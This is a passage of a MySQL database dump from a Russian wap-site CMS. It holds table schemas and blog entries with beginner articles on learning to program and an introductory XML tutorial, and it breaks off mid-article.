Вход Регистрация
Файл: ruswap.ru/dum446_wm.sql
Строк: 14713
-- MySQL dump 10.13 Distrib 5.5.40-36.1, for Linux (x86_64) -- -- Host:
localhost Database: dum446_wm --
------------------------------------------------------ -- Server
version 5.5.40-36.1-log /*!40101 SET
@OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET
@OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET
@OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES
utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET
TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS,
UNIQUE_CHECKS=0 */; /*!40014 SET
@OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0
*/; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO'
*/; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Table
structure for table `ads` -- DROP TABLE IF EXISTS `ads`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `ads` ( `id` int(11) NOT
NULL AUTO_INCREMENT, `name` varchar(255) DEFAULT NULL, `url`
varchar(255) DEFAULT NULL, `time_srok` varchar(255) DEFAULT NULL,
`kogda` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM
DEFAULT CHARSET=cp1251; /*!40101 SET character_set_client =
@saved_cs_client */; -- -- Dumping data for table `ads` -- LOCK TABLES
`ads` WRITE; /*!40000 ALTER TABLE `ads` DISABLE KEYS */; /*!40000 ALTER
TABLE `ads` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table
`antispam` -- DROP TABLE IF EXISTS `antispam`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `antispam` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `news` varchar(244) NOT NULL, `stena`
varchar(244) NOT NULL, `chat` varchar(244) NOT NULL, `forum_tema`
varchar(255) NOT NULL, `forum_post` varchar(255) NOT NULL, `guest`
varchar(255) NOT NULL, `blog` varchar(244) NOT NULL, `mes` varchar(244)
NOT NULL, `down` varchar(244) NOT NULL, `repa` varchar(255) NOT NULL,
PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `antispam` -- LOCK TABLES `antispam`
WRITE; /*!40000 ALTER TABLE `antispam` DISABLE KEYS */; INSERT INTO
`antispam` VALUES
(1,'30','30','5','360','5','1','30','3','10','1'); /*!40000 ALTER TABLE
`antispam` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table
`arbitr` -- DROP TABLE IF EXISTS `arbitr`; /*!40101 SET @saved_cs_client
= @@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `arbitr` ( `id` int(255) NOT NULL AUTO_INCREMENT,
`who` int(255) NOT NULL, `ho` int(255) NOT NULL, `mode` int(1) NOT
NULL, `ver` int(1) NOT NULL, `text` varchar(300) CHARACTER SET utf8 NOT
NULL, `time` int(50) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM
DEFAULT CHARSET=latin1; /*!40101 SET character_set_client =
@saved_cs_client */; -- -- Dumping data for table `arbitr` -- LOCK TABLES
`arbitr` WRITE; /*!40000 ALTER TABLE `arbitr` DISABLE KEYS */; /*!40000
ALTER TABLE `arbitr` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure
for table `ban_list` -- DROP TABLE IF EXISTS `ban_list`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `ban_list` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `kto` varchar(255) DEFAULT NULL, `about`
varchar(255) DEFAULT NULL, `time_play` varchar(255) DEFAULT NULL,
`time_end` varchar(255) DEFAULT NULL, `add_ban` varchar(255) DEFAULT
NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT
CHARSET=cp1251; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `ban_list` -- LOCK TABLES `ban_list`
WRITE; /*!40000 ALTER TABLE `ban_list` DISABLE KEYS */; /*!40000 ALTER
TABLE `ban_list` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for
table `blog_com` -- DROP TABLE IF EXISTS `blog_com`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `blog_com` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `msg` text NOT NULL, `avtor` varchar(100) NOT
NULL, `time` varchar(100) NOT NULL, `blog` varchar(244) NOT NULL,
`avtorlogin` varchar(100) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM
DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `blog_com` -- LOCK TABLES `blog_com`
WRITE; /*!40000 ALTER TABLE `blog_com` DISABLE KEYS */; /*!40000 ALTER
TABLE `blog_com` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for
table `blog_r` -- DROP TABLE IF EXISTS `blog_r`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `blog_r` ( `id` int(11) NOT
NULL AUTO_INCREMENT, `name` varchar(30) NOT NULL, PRIMARY KEY (`id`) )
ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101 SET character_set_client =
@saved_cs_client */; -- -- Dumping data for table `blog_r` -- LOCK TABLES
`blog_r` WRITE; /*!40000 ALTER TABLE `blog_r` DISABLE KEYS */; /*!40000
ALTER TABLE `blog_r` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure
for table `blog_reit` -- DROP TABLE IF EXISTS `blog_reit`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `blog_reit` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `stat` varchar(244) NOT NULL, `r` varchar(244)
NOT NULL, `kto` varchar(100) NOT NULL, PRIMARY KEY (`id`) )
ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8; /*!40101 SET
character_set_client = @saved_cs_client */; -- -- Dumping data for table
`blog_reit` -- LOCK TABLES `blog_reit` WRITE; /*!40000 ALTER TABLE
`blog_reit` DISABLE KEYS */; INSERT INTO `blog_reit` VALUES
(1,'2','1','14'),(2,'7','1','1'); /*!40000 ALTER TABLE `blog_reit` ENABLE
KEYS */; UNLOCK TABLES; -- -- Table structure for table
`blog_search` -- DROP TABLE IF EXISTS `blog_search`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `blog_search` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `meta` varchar(100) NOT NULL, `kto`
varchar(100) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `blog_search` -- LOCK TABLES
`blog_search` WRITE; /*!40000 ALTER TABLE `blog_search` DISABLE KEYS
*/; /*!40000 ALTER TABLE `blog_search` ENABLE KEYS */; UNLOCK
TABLES; -- -- Table structure for table `blog_stat` -- DROP TABLE IF
EXISTS `blog_stat`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `blog_stat` ( `id` int(11) NOT NULL AUTO_INCREMENT,
`titlename` varchar(100) NOT NULL, `text` text NOT NULL, `meta`
varchar(100) NOT NULL, `razdel` varchar(100) NOT NULL, `avtor`
varchar(100) NOT NULL, `time` varchar(100) NOT NULL, `readlen`
varchar(244) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM
AUTO_INCREMENT=14 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client =
@saved_cs_client */; -- -- Dumping data for table `blog_stat` -- LOCK
TABLES `blog_stat` WRITE; /*!40000 ALTER TABLE `blog_stat` DISABLE KEYS
*/; INSERT INTO `blog_stat` VALUES (4,'С чего начать
программировать','Предисловие\r\nЗатрагивая
столь сложную и обширную тему, как
"грабли", поджидающие новичков
в программирования, я намеренно упускаю
многие детали, так как иначе, статья
получится слишком длинной и
запутанной.\r\n\r\nНачало\r\nСуществует один
вопрос, который задают себе все
начинающие программисты: как стать
прогрммистом? - и первым ответом, который
возникает в голове вопрошающего бывает -
выучить язык программирования! Такой
подход изначально ошибочный. Дело в том,
что начинать любое дело, становится
мастером из подмастерья и изучать науку
следует не с инструмента, а с фундамента.
Представьте, что вы решили стать
первокласным физиком-ядерщиком и начали
свое изучение с химической структуры
урана. Что из этого выйдет? В лучшем
случае вы узнаете что уран нестабилен, и
больше ничего. Аналогично слесарь не
начинает свою деятельность с изучения
молотка, так и программист не начинает с
языка программирования. Как я уже сказал
ранее, начинать следует с фундамента. Для
начала узнайте, что же такое программа,
для чего их пишут, какие виды программ
бывают. Чтоб было интереснее, можете
углубиться в историю программирования,
познакомится с первыми потугами
программистов в этой области, узнать кто
был первым программистам и так далее.
Попутно, вы будите узнавать много новых и
важных терминов, часто встречающихся в
программировании и без знания которых,
вы просто не поймете ни языков
программирования, ни информатики в
целом. Обязательно прочтите одну-две
простые, школьные книжки по информатике
и основам компьютерной грамотности, это
подготовит вас к дальнейшим шагам. Не
следует беспокоится о предупреждениях
других, мол без знания математики,
английского языка и других дисциплин
программистам вам не стать, все это
чепуха! По ходу обучения вы сами придете
к тому, что вам следует подтянуть свой
английский и сесть за школьные книжки по
алгебре, а на начальных этапах это вовсе
не нужно! После того, как вы
познакомитесь с информатикой и будете
точно уверены в том, что
программирование это ваше направление,
выберите для себя книгу-учителя по
одному из языков программирования. Это
может быть любой высокоуровневый язык,
такой как: C, pyton, ruby, PHP - я рекомендую
начать с PHP или pyton. Обзоведитесь
несколькими книгами по выбранному языку,
это как если вы будете общаться не с
одним, а сразу с несколькими учителями по
теме, и объяснение одного может даться
вам проще, чем объяснение другого.
Обязательно прочтите одну-две главы
выбранной книги и удостоверьтесь, что
все излагается достаточно подробно,
понятно и с примерами, так как некоторые
книги расчитаны не на
новичков.\r\n\r\nПервые шаги\r\nОбязательно
установите компилятор или интерпретатор
изучаемого языка (подробную инструкцию
можно найти в интернете) и тренируйтесь
чаще. Пишите простые программы, чем проще
- тем лучше! Конечно мечту написать
сложную программу нужно хранить, но лишь
для того, чтобы оставался интерес, не
следует пытаться сразу писать сложные
программы. Читайте чаще, но тщательно
выбирайте материал! Я рекомендую
обращаться к известным книгам в
несколько сотен страниц. Крайне не
рекомендую начинать изучение с чужого
кода или чтением статей из интернета. От
этого вы только себе навредите и никогда
не поймете сути прочитанного. Такой
подход хорош, когда вы уже хорошо знакомы
с программированием и хотите изучить
работы других программистов, дабы найти
для себя что то новенькое, а на начальном
этапе это только запутает, ведь соблазн
скопировать чужой код слишком велик.
Обязательно пишите
"велосипеды"! Реализуйте уже
имеющиеся решения собственными руками,
это позволит вам понять, как все это
работает и прибавит вам практики.\r\nПосле
прочтения книг\r\nЧто делать, когда вы уже
прочитали одну-две книжки и не видите
ничего нового в следующих? Пора писать
проекты сложнее! Читайте статьи,
общайтесь с другими программистами,
пишите сложные (на ваш взгляд)
"велосипеды", не бойтесь, что
кто то украдет вашу идею, смело делитесь
ей с миром! Запомните - на данном этапе
важно ошибаться и учиться на своих
ошибках! Не спорьте с другими
программистами, старайтесь перенять от
них что то, относитесь к своим знаниям
критично. Данный этап очень опасен, так
как многие программисты начинают
считать себя квалифицированными
специалистами, но это не так. Поставьте
себе новую цель, недостижимую мечту и
двигайтесь к ней. Убедите себя, что вам
еще есть куда стремиться. На самом деле,
вы еще не специалист, а новичок в
программировании.\r\n\r\nПрофессиональная
деятельность\r\nВот вы уже с легкостью
пишите сложные программы и общайтесь с
программистами на равных. Пора искать
работу! Выбирайте что нибудь интересное
для себя. Работа программистом
познакомит вас с особенностями
бизнес-программирования, когда отчаяно
не хватает времени, когда задача
ставится размыто, когда предъявляются
огромные требования к быстродействию,
безопасности и интерфейсу. Это закалит
вас, научит решать сложные
задачи.\r\nУдачи в
начинаниях!\r\nЗатрагивая столь сложную и
обширную тему, как "грабли",
поджидающие новичков в
программирования, я намеренно упускаю
многие детали, так как иначе, статья
получится слишком длинной и
запутанной.\r\n\r\n<span style="font-weight:
bold;"> Начало
</span>\r\nСуществует один вопрос,
который задают себе все начинающие
программисты: как стать прогрммистом? - и
первым ответом, который возникает в
голове вопрошающего бывает - выучить
язык программирования! Такой подход
изначально ошибочный. Дело в том, что
начинать любое дело, становится мастером
из подмастерья и изучать науку следует
не с инструмента, а с фундамента.
Представьте, что вы решили стать
первокласным физиком-ядерщиком и начали
свое изучение с химической структуры
урана. Что из этого выйдет? В лучшем
случае вы узнаете что уран нестабилен, и
больше ничего. Аналогично слесарь не
начинает свою деятельность с изучения
молотка, так и программист не начинает с
языка программирования. Как я уже сказал
ранее, начинать следует с фундамента. Для
начала узнайте, что же такое программа,
для чего их пишут, какие виды программ
бывают. Чтоб было интереснее, можете
углубиться в историю программирования,
познакомится с первыми потугами
программистов в этой области, узнать кто
был первым программистам и так далее.
Попутно, вы будите узнавать много новых и
важных терминов, часто встречающихся в
программировании и без знания которых,
вы просто не поймете ни языков
программирования, ни информатики в
целом. Обязательно прочтите одну-две
простые, школьные книжки по информатике
и основам компьютерной грамотности, это
подготовит вас к дальнейшим шагам. Не
следует беспокоится о предупреждениях
других, мол без знания математики,
английского языка и других дисциплин
программистам вам не стать, все это
чепуха! По ходу обучения вы сами придете
к тому, что вам следует подтянуть свой
английский и сесть за школьные книжки по
алгебре, а на начальных этапах это вовсе
не нужно! После того, как вы
познакомитесь с информатикой и будете
точно уверены в том, что
программирование это ваше направление,
выберите для себя книгу-учителя по
одному из языков программирования. Это
может быть любой высокоуровневый язык,
такой как: C, pyton, ruby, PHP - я рекомендую
начать с PHP или pyton. Обзоведитесь
несколькими книгами по выбранному языку,
это как если вы будете общаться не с
одним, а сразу с несколькими учителями по
теме, и объяснение одного может даться
вам проще, чем объяснение другого.
Обязательно прочтите одну-две главы
выбранной книги и удостоверьтесь, что
все излагается достаточно подробно,
понятно и с примерами, так как некоторые
книги расчитаны не на
новичков.\r\n\r\n<span style="font-weight:
bold;"> Первые шаги
</span>\r\nОбязательно установите
компилятор или интерпретатор изучаемого
языка (подробную инструкцию можно найти
в интернете) и тренируйтесь чаще. Пишите
простые программы, чем проще - тем лучше!
Конечно мечту написать сложную
программу нужно хранить, но лишь для
того, чтобы оставался интерес, не следует
пытаться сразу писать сложные программы.
Читайте чаще, но тщательно выбирайте
материал! Я рекомендую обращаться к
известным книгам в несколько сотен
страниц. Крайне не рекомендую начинать
изучение с чужого кода или чтением
статей из интернета. От этого вы только
себе навредите и никогда не поймете сути
прочитанного. Такой подход хорош, когда
вы уже хорошо знакомы с
программированием и хотите изучить
работы других программистов, дабы найти
для себя что то новенькое, а на начальном
этапе это только запутает, ведь соблазн
скопировать чужой код слишком велик.
Обязательно пишите
"велосипеды"! Реализуйте уже
имеющиеся решения собственными руками,
это позволит вам понять, как все это
работает и прибавит вам практики.\r\nПосле
прочтения книг\r\nЧто делать, когда вы уже
прочитали одну-две книжки и не видите
ничего нового в следующих? Пора писать
проекты сложнее! Читайте статьи,
общайтесь с другими программистами,
пишите сложные (на ваш взгляд)
"велосипеды", не бойтесь, что
кто то украдет вашу идею, смело делитесь
ей с миром! Запомните - на данном этапе
важно ошибаться и учиться на своих
ошибках! Не спорьте с другими
программистами, старайтесь перенять от
них что то, относитесь к своим знаниям
критично. Данный этап очень опасен, так
как многие программисты начинают
считать себя квалифицированными
специалистами, но это не так. Поставьте
себе новую цель, недостижимую мечту и
двигайтесь к ней. Убедите себя, что вам
еще есть куда стремиться. На самом деле,
вы еще не специалист, а новичок в
программировании.\r\n\r\n<span
style="font-weight: bold;">
Профессиональная деятельность
</span>\r\nВот вы уже с легкостью
пишите сложные программы и общайтесь с
программистами на равных. Пора искать
работу! Выбирайте что нибудь интересное
для себя. Работа программистом
познакомит вас с особенностями
бизнес-программирования, когда отчаяно
не хватает времени, когда задача
ставится размыто, когда предъявляются
огромные требования к быстродействию,
безопасности и интерфейсу. Это закалит
вас, научит решать сложные
задачи.\r\nУдачи в начинаниях!','С чего
начать
программировать','4','1006','1408545799','15'),(5,'Помощь
в написание скриптов.','Попытаюсь кратко
изложить проблему и ее решение
основанную не только на моем опыте.
Попытаюсь затронуть проблему почти
каждого кодера новичка. Да, статья именно
для Вас новички. Но возможно, она поможет
и уже опытным программистам, если имеете
данную проблему.\r\n\r\nКогда начинающий
программист, стремится начать
практиковаться, выходит одна очень
плохая манера. не дописывать начатое. Да,
такое часто случается, когда появляется
отвращение к уже написанным строкам и
просто не охота заканчивать. Раньше, я
сам сталкивался с такой проблемой. мне
нравилось начинать, но не заканчивать.
Заставить себя учить РНР и писать
скрипты можете только Вы сами. Если
пишете скрипт, и вдруг к вам пришла
отличная идея другого скрипта, не стоит
бросать прошлую работу. Запишите новую
идею на бумаге, распишете самому себе ТЗ.
Да даже если вы решили написать скрипт,
не держите идею скрипта в голове. Весь
процесс программы стоит вывести на
бумагу. Даже когда Вы будете писать
скрипт, мозг забьется посторонней
информацией и идея, и желание что-то
написать уходит на дальний план, а если
вы её оформите в бумажном виде, то при
просмотре, через не определенное время, у
вас в мозгу снова загорится та искорка.
Возможно вы увидите недоработки и снова
приложите все силы на написание скрипта.
Не забивайте свой мозг лишним кодом, для
этого есть различные носители. Почему
бумага? Помню еще в школе, учителя
говорили нам "Рука пишет - голова
запоминает ". Распишите план
действий. Когда много раз пишешь одно и
тоже, то это надоедает. Я всегда не любил
писать
удаление/редактирование/добавление
постов на форумах/гостевых и т.д. Это
скучно и не интересно. Но имея четкий
план, зная, чего тебе не хватает до
завершения написания скрипта, Вы
забудете о том, как не любите писать
подобный код. \r\n\r\nВсе же, хочу еще раз
повторится. Только Вы сами способны
заставить себя что либо делать, если
начали не забивайте. Это плохая манера,
не развивайте её. Не бросайте начатое.
Удачи =)','Помощь в написание
скриптов.','4','1006','1408546515','2'),(13,'Xml - это
просто!','[b]В последнее время
аббревиатура «XML» все чаще встречается в
статьях, книгах и разговорах
профессионалов (и дилетантов). Многое уже
было сказано, и многое еще будет сказано
об этой универсальной технологии.
Основная цель данной статьи состоит в
том, чтобы ввести читателя в мир
расширяемого языка разметки и показать
некоторые средства, используемые для
представления знаний посредством
XML-технологий и последующей визуализации
этих знаний. Я не собираюсь утомлять
читателя пространными описаниями
стандартов на документы XML,
рекомендуемых консорциумом W3C (зайдите в
гости к консорциуму, проживающему по
адресу http://www.w3.org; здесь расположена вся
официальная документация). О некоторых
стандартах и их реализации мы поговорим
в следующих статьях, а сейчас наша
основная задача — понять, из-за чего,
собственно говоря, начался весь этот шум
вокруг XML.\r\n\r\nПрежде всего, необходимо
отметить, что высказывания вроде «XML
позволит решить все проблемы
электронной коммерции» или «XML скоро
полностью вытеснит HTML» являются в корне
неверными и показывают неведение их
авторов относительно роли XML в
электронном бизнесе и месте
расширяемого языка разметки в сфере
интернет-технологий. По мнению ведущих
экспертов, XML можно использовать как
дополнение к HTML. Вероятно, в будущем XML
будет применяться для описания данных,
тогда как прерогативой HTML останется
форматирование и презентация этих
данных.\r\n\r\nСудя по наметившимся
тенденциям, в будущем XML будет служить
связующим звеном между различными
платформами и приложениями. Что же
касается применения XML в бизнесе, то
наилучшей областью для этого
специалисты считают B2B (business-to-business). Уже
сейчас многие компании,
специализирующиеся в электронной
коммерции, активно применяют
расширяемый язык разметки для улучшения
взаимодействия с партнерами.\r\n\r\nЧто же
такое XML? Если речь идет о формальном
определении, я бы предложил следующее: XML
— это универсальный, не зависящий от
платформы язык разметки, который можно
использовать для представления
иерархических данных и унификации
передаваемой информации. Сама
аббревиатура расшифровывается как Extensible
Markup Language, что в переводе означает
«расширяемый язык разметки». Как и HTML
(Hypertext Markup Language), XML является потомком SGML
(Standard General Markup Language) — «дедушки» языков
разметки, который в течение многих лет
используется в издательском деле. Иногда
говорят, что XML — это не язык, а скорее
метаязык, с помощью которого можно
определять другие языки. Действительно,
путем создания новых тэгов и определения
новых структур с помощью этих тэгов мы
фактически создаем новые языки с их
собственным синтаксисом и
семантикой.\r\n\r\nПредвижу давно
напрашивающийся вопрос: чем же был плох
HTML? Последние версии этого языка в
сочетании с каскадными таблицами стилей
(CSS) позволяют создавать очень красивые
web-сайты и обладают практически
неограниченными возможностями
форматирования гипертекстовых
документов. Зачем же нам морочить голову,
изобретать и добавлять новые тэги, когда
и стандартных элементов (плюс
возможности стилевых таблиц) хватает
даже для самого причудливого оформления
Web-страницы? Дело в том, что XML в его
«чистом» виде слабо связан с
форматированием документов. Альфа и
омега этого языка — возможность
семантически и синтаксически корректно
описывать сложные структурированные
данные. Правильно же представленные
данные легче обрабатывать, передавать и
представлять
пользователю.\r\n\r\nПредставим себе, что
нам необходимо описать некоторые данные
о человеке, например, его имя и возраст.
Следующий фрагмент HTML-документа
выполняет эту
задачу:\r\n\r\n.....................\r\n<p>Name:
Ivan</p> \r\n<p>Age: 36</p>
\r\n.....................\r\n\r\nТеперь попробуем
сделать то же самое с помощью
XML:\r\n\r\n.....................\r\n<name>Ivan</name>
\r\n<age>36</age>.
\r\n.....................\r\n\r\nЭтот тривиальный
пример хорошо демонстрирует различия в
представлении данных с помощью HTML и XML.
Действительно, то, что относилось к
тексту в HTML-представлении (слова «Name» и
«Age»), относится к структуре в
XML-документе (тэги <name> и
<age>). Таким образом, XML позволяет
лучше структурировать хранимую и
передаваемую информацию. Если в
традиционном HTML понятия «представление»
и «визуализация» часто смешиваются, то
при работе с XML мы четко разделяем эти
понятия. Все, что относится к описанию
предметной области, делается средствами
XML, а то, что относится к визуализации, мы
оставляем специальным программам и
стилевым таблицам.\r\n\r\nСинтаксис прост,
но строг…\r\nРассмотрим следующий
простой документ
XML:\r\n\r\n................................................................\r\n<?xml
version="1.0"?>\r\n<people>\r\n <person
class="children">\r\n <name>\r\n <first_name>Ivan</first_name>\r\n <second_name>Ivanovich</second_name>\r\n <surname>Ivanov</surname>\r\n </name>\r\n <age>8</age>\r\n <hobby>football</hobby>\r\n </person>\r\n <person>\r\n <name>\r\n <first_name>Pyotr</first_name>\r\n <second_name>Petrovich</second_name>\r\n <surname>Petrov</surname>\r\n </name>\r\n <age>25</age>\r\n <hobby>chess</hobby>\r\n </person>\r\n <person>\r\n <name>\r\n <first_name>Nikolay</first_name>\r\n <second_name>Nikolayevich</second_name>\r\n <surname>Nikolayev</surname>\r\n </name>\r\n <age>45</age>\r\n <hobby>swimming</hobby>\r\n </person>\r\n</people>\r\n................................................................\r\n\r\nПервая
строка:\r\n\r\n................\r\n<?xml
version="1.0"?>
\r\n................\r\n\r\n\r\nявляется декларацией
используемой версии языка. В данном
случае это версия 1.0. Не пропускайте эту
строку в ваших документах!\r\n\r\nВторая
строка\r\n\r\n...............\r\n<people>\r\n...............\r\n\r\nописывает
корневой элемент документа (the root element).
Составитель как бы предупреждает: «этот
документ содержит информацию о
людях».\r\n\r\nЭлементы, представленные
тэгами <person> и </person>
являются дочерними узлами (child nodes)
корневого узла <people>. Слово «class»
представляет собой имя атрибута,
значение которого равно children. Узлы
<name>, <age> и <hobby>
являются потомками (descendants) узла
<people> и дочерними узлами для
<person>. Наконец, тэги
<first_name>, <second_name> и
<surname> — это «дети» для
<name>, «внуки» для <person> и
«правнуки» для
<people>.\r\n\r\nПоследняя
строка\r\n\r\n..............\r\n</people>\r\n..............\r\n\r\nпределяет
конец корневого элемента.\r\n\r\nОтметим
некоторые особенности синтаксиса
XML.\r\n\r\nВ отличие от HTML, все элементы XML
должны иметь закрывающий тэг (closing tag). В
HTML следующая запись
допустима:\r\n\r\n..........................\r\n<p>Это
мой первый параграф\r\n<p>Это мой
второй параграф\r\n..........................\r\n\r\nВ XML
опускать закрывающие тэги нельзя. Для
данного примера представление текста в
формате XML могло бы выглядеть
так:\r\n\r\n................................\r\n<p>Это
мой первый
параграф</p>\r\n<p>Это мой
второй
параграф</p>\r\n................................\r\n\r\nВпрочем,
вместо <p> мы могли бы
использовать другой тэг, например,
отсутствующий в HTML тэг <prgrph>,
благо XML позволяет нам изобретать наши
собственные тэги. Заметим, что первая,
«декларативная» строка документа не
содержит закрывающего тэга. Это не
ошибка. Дело в том, что декларации не
являются элементами XML и не имеют
закрывающих тэгов.\r\n\r\nВ отличие от HTML,
тэги XML чувствительны к регистру (case
sensitive). Если в HTML строки символов
<IMG>, <img> и <Img>
представляют собой один и тот же тэг, то в
XML эти тэги не эквивалентны.
Примеры:\r\n\r\n........................................\r\n<Letter>Это
неправильная
запись!</letter>\r\n<letter>Это
правильная запись</letter>
\r\n........................................\r\n\r\nВ HTML иногда
можно нарушить правила вложения тэгов
без тяжелых последствий (в виде
сообщения об ошибке). В XML это невозможно.
Например,
код\r\n\r\n................................\r\n<b><i>Это
жирный
курсив</b></i>\r\n................................\r\n\r\nв
HTML допускается. В XML такая запись
ошибочна. Правильный код выглядел бы
так\r\n\r\n..................................\r\n<b><i>Это
жирный
курсив</i></b>\r\n..................................\r\n\r\nВ
отличие от HTML, все документы XML должны
иметь корневой элемент. Все остальные
элементы являются «потомками»
корневого. При этом строгие правила
вложения не должны нарушаться.\r\n\r\nВ
отличие от HTML, XML сохраняет пробелы.
Строка\r\n\r\n...............................\r\n<p>Это
я!</p>\r\n...............................\r\n\r\nв HTML
будет показана так:\r\n\r\n...........\r\nЭто
я!\r\n...........\r\n\r\nВ XML все пробелы будут
сохранены.\r\n\r\nВ HTML значения атрибутов
элементов часто могут не заключаться в
кавычки. В XML все значения атрибутов
непременно должны быть заключены в
кавычки. Нарушение этого правила
обязательно приведет к ошибке. Если в
нашем примере третью строку изменить
следующим
образом:\r\n\r\n..............................\r\n<person
class=children>\r\n..............................\r\n\r\nсинтаксис
XML будет нарушен.\r\n\r\n«Хорошие» и
«плохие» документы\r\nДокументы XML,
удовлетворяющие всем требованиям
синтаксиса, называют правильными
(well-formed). С этой точки зрения построенный
нами документ с корневым элементом
<people> является правильным. Я
надеюсь, что на вашем компьютере
заблаговременно был установлен Microsoft
Internet Explorer 5.0. Если так, то мы можем
проверить «правильность» нашего
документа прямо сейчас. Сохраните текст
документа в файле myFirstXML.xml и откройте
этот файл в Internet Explorer.\r\n\r\nЕсли бы мы
допустили какую-нибудь синтаксическую
ошибку, например, забыли закрыть
какой-нибудь тэг, программа-анализатор
сообщила бы нам об этом через окно Internet
Explorer.\r\n\r\nСледует отметить, что я
перечислил лишь основные правила
синтаксиса XML, акцентируя внимание
читателя на их отличии от правил
построения документов HTML. Кроме
правильных документов различают также
действительные (valid) документы, которые
удовлетворяют специальным определениям
типа документа (Document Type Definition, DTD).
Определение типа° документа
представляет собой описание логической
структуры, в соответствии с которой
строится документ. DTD определяет части
документа и указывает, какие элементы и в
каком порядке в них могут размещаться.
Определение типа документа — это, по
сути дела, набор правил, который
передается специальной
программе-анализатору (parser) для
обработки документа и определения его
соответствия правилам
построения.\r\n\r\nДетальные определения
типа документа не являются
обязательными (хотя рекомендуются) для
построения XML-документов. В настоящее
время разрабатываются новые, быть может,
более эффективные средства задания
структуры документа (например, так
называемые схемы). Обсуждение деталей DTD
выходит за рамки данной статьи. Хочу лишь
отметить, что первая строка
рассмотренного нами ранее
документа\r\n\r\n.....................\r\n<?xml
version="1.0"?>\r\n.....................\r\n\r\nявляется
частью DTD (в рассмотренном примере DTD
содержит лишь одну эту
строку).\r\n\r\n\r\n***Презентация
документа***\r\n\r\nЯ чувствую, что читатель
устал от теоретических рассуждений и
ждет конкретных указаний, которые
помогли бы ему воочию оценить работу XML. Я
уже писал, что XML прежде всего
используется для представления, а не для
визуализации данных. Тем не менее,
существуют изящные методы визуализации
документов XML. Попробуем визуализировать
рассмотренный ранее документ с помощью
каскадных таблиц стилей (CSS), о которых вы,
вероятно, уже слышали.\r\n\r\nВизуализация
документов XML с помощью CSS по сути ничем
не отличается от визуализации
документов HTML. Требуется лишь связать
нужный документ с нужной таблицей
стилей. Что может быть
проще?\r\n\r\nСоздайте файл myFirstXML.css в той же
папке, что и myFirstXML.xml и занесите в него
следующие определения
стилей:\r\n\r\n..........................................................\r\nperson
{display: block; color: blue; margin-bottom: 30pt}\r\nname {display: block;
color: brown}\r\nage, hobby {display: block}\r\nperson.children
{background-color:
yellow}\r\n..........................................................\r\n\r\nЗдесь
display: block означает, что данный элемент
нужно представлять в виде отдельного
блока в окне браузера, color определяет
цвет переднего плана, margin-bottom: 30pt здесь
означает, что от каждого элемента
<person> следует отступить на 30
пунктов вниз перед показом следующего
элемента. Наконец, элементы <person>
со значением атрибута class, равным children,
следует подсветить желтым цветом.\r\n\r\nНе
забудьте сохранить файл.\r\n\r\nДобавьте в
ранее созданный файл myFirstXML.xml
строку\r\n\r\n.........................................................\r\n<?xml:stylesheet
type="text/css"
href="myFirstXML.css"?>\r\n.........................................................\r\n\r\nпосле
строки\r\n\r\n........................\r\n<?xml
version="1.0"?>\r\n........................\r\n\r\nс
целью декларировать связь документа XML
со стилевой таблицей CSS.\r\n\r\nОпять
сохраните файл.\r\n\r\nОткройте файл
myFirstXML.xml в окне Internet Explorer.\r\n\r\n***Нет, не все
